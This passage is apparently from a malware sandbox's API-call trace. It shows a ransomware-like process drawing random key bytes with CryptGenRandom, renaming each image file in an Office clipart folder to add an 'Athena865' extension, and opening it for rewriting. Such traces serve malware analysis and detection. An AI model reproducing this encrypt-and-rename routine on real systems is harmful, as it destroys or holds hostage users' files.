dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.403] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.403] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.403] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01235U.BMP" | out: lpString1="PH01235U.BMP") returned="PH01235U.BMP" [0133.403] lstrlenW (lpString="PH01235U.BMP") returned 12 [0133.403] lstrlenW (lpString="Athena865") returned 9 [0133.403] lstrcmpiW (lpString1="1235U.BMP", lpString2="Athena865") returned -1 [0133.403] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.Athena865") returned 73 [0133.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.405] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0133.405] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.406] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.406] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.409] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.410] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.410] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.410] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01236U.BMP" | out: lpString1="PH01236U.BMP") returned="PH01236U.BMP" [0133.410] lstrlenW (lpString="PH01236U.BMP") returned 12 [0133.410] lstrlenW (lpString="Athena865") returned 9 [0133.411] lstrcmpiW (lpString1="1236U.BMP", lpString2="Athena865") returned -1 [0133.411] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.Athena865") returned 73 [0133.411] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.412] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.412] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.413] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.413] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.418] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.418] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.418] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.419] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01239K.JPG" | out: lpString1="PH01239K.JPG") returned="PH01239K.JPG" [0133.419] lstrlenW (lpString="PH01239K.JPG") returned 12 [0133.419] lstrlenW (lpString="Athena865") returned 9 [0133.419] lstrcmpiW (lpString1="1239K.JPG", lpString2="Athena865") returned -1 [0133.419] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.Athena865") returned 73 [0133.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.athena865"), dwFlags=0x1) returned 1 [0133.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.421] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5988) returned 1 [0133.421] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.422] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.422] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.424] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.425] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.425] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.425] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01247U.BMP" | out: lpString1="PH01247U.BMP") returned="PH01247U.BMP" [0133.425] lstrlenW (lpString="PH01247U.BMP") returned 12 [0133.425] lstrlenW (lpString="Athena865") returned 9 [0133.425] lstrcmpiW (lpString1="1247U.BMP", lpString2="Athena865") returned -1 [0133.425] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.Athena865") returned 73 [0133.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.427] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31752) returned 1 [0133.427] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.428] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.428] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.431] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.431] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.431] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.432] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01255G.GIF" | out: lpString1="PH01255G.GIF") returned="PH01255G.GIF" [0133.432] lstrlenW (lpString="PH01255G.GIF") returned 12 [0133.432] lstrlenW (lpString="Athena865") returned 9 [0133.432] lstrcmpiW (lpString1="1255G.GIF", lpString2="Athena865") returned -1 [0133.433] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.Athena865") returned 73 [0133.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.athena865"), dwFlags=0x1) returned 1 [0133.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.434] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7765) returned 1 [0133.434] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.435] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.435] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.437] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.438] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.438] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.438] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01265U.BMP" | out: lpString1="PH01265U.BMP") returned="PH01265U.BMP" [0133.438] lstrlenW (lpString="PH01265U.BMP") returned 12 [0133.438] lstrlenW (lpString="Athena865") returned 9 [0133.438] lstrcmpiW (lpString1="1265U.BMP", lpString2="Athena865") returned -1 [0133.438] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.Athena865") returned 73 [0133.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.440] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31752) returned 1 [0133.440] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.440] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.441] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.443] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.444] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.444] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.445] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01332U.BMP" | out: lpString1="PH01332U.BMP") returned="PH01332U.BMP" [0133.445] lstrlenW (lpString="PH01332U.BMP") returned 12 [0133.445] lstrlenW (lpString="Athena865") returned 9 [0133.445] lstrcmpiW (lpString1="1332U.BMP", lpString2="Athena865") returned -1 [0133.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.Athena865") returned 73 [0133.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.447] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0133.447] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.447] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.447] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.450] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.451] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.451] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.452] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01478U.BMP" | out: lpString1="PH01478U.BMP") returned="PH01478U.BMP" [0133.452] lstrlenW (lpString="PH01478U.BMP") returned 12 [0133.452] lstrlenW (lpString="Athena865") returned 9 [0133.452] lstrcmpiW (lpString1="1478U.BMP", lpString2="Athena865") returned -1 [0133.452] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.Athena865") returned 73 [0133.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.453] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.453] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.454] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.454] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.457] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.457] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.457] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.458] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01562U.BMP" | out: lpString1="PH01562U.BMP") returned="PH01562U.BMP" [0133.458] lstrlenW (lpString="PH01562U.BMP") returned 12 [0133.458] lstrlenW (lpString="Athena865") returned 9 [0133.458] lstrcmpiW (lpString1="1562U.BMP", lpString2="Athena865") returned -1 [0133.458] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.Athena865") returned 73 [0133.458] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.460] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0133.460] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.461] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.461] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.464] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.465] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.465] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.466] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01607U.BMP" | out: lpString1="PH01607U.BMP") returned="PH01607U.BMP" [0133.466] lstrlenW (lpString="PH01607U.BMP") returned 12 [0133.466] lstrlenW (lpString="Athena865") returned 9 [0133.466] lstrcmpiW (lpString1="1607U.BMP", lpString2="Athena865") returned -1 [0133.466] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.Athena865") returned 73 [0133.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.468] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.468] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.468] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.468] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.471] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.472] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.472] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.472] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01931J.JPG" | out: lpString1="PH01931J.JPG") returned="PH01931J.JPG" [0133.472] lstrlenW (lpString="PH01931J.JPG") returned 12 [0133.472] lstrlenW (lpString="Athena865") returned 9 [0133.472] lstrcmpiW (lpString1="1931J.JPG", lpString2="Athena865") returned -1 [0133.472] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.Athena865") returned 73 [0133.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.474] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39614) returned 1 [0133.474] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.475] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.475] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.478] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.478] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.479] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.479] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02028K.JPG" | out: lpString1="PH02028K.JPG") returned="PH02028K.JPG" [0133.479] lstrlenW (lpString="PH02028K.JPG") returned 12 [0133.479] lstrlenW (lpString="Athena865") returned 9 [0133.479] lstrcmpiW (lpString1="2028K.JPG", lpString2="Athena865") returned -1 [0133.480] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.Athena865") returned 73 [0133.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.athena865"), dwFlags=0x1) returned 1 [0133.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.481] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17694) returned 1 [0133.481] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.482] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.482] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.484] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.485] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.485] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.486] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02039U.BMP" | out: lpString1="PH02039U.BMP") returned="PH02039U.BMP" [0133.486] lstrlenW (lpString="PH02039U.BMP") returned 12 [0133.486] lstrlenW (lpString="Athena865") returned 9 [0133.486] lstrcmpiW (lpString1="2039U.BMP", lpString2="Athena865") returned -1 [0133.486] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.Athena865") 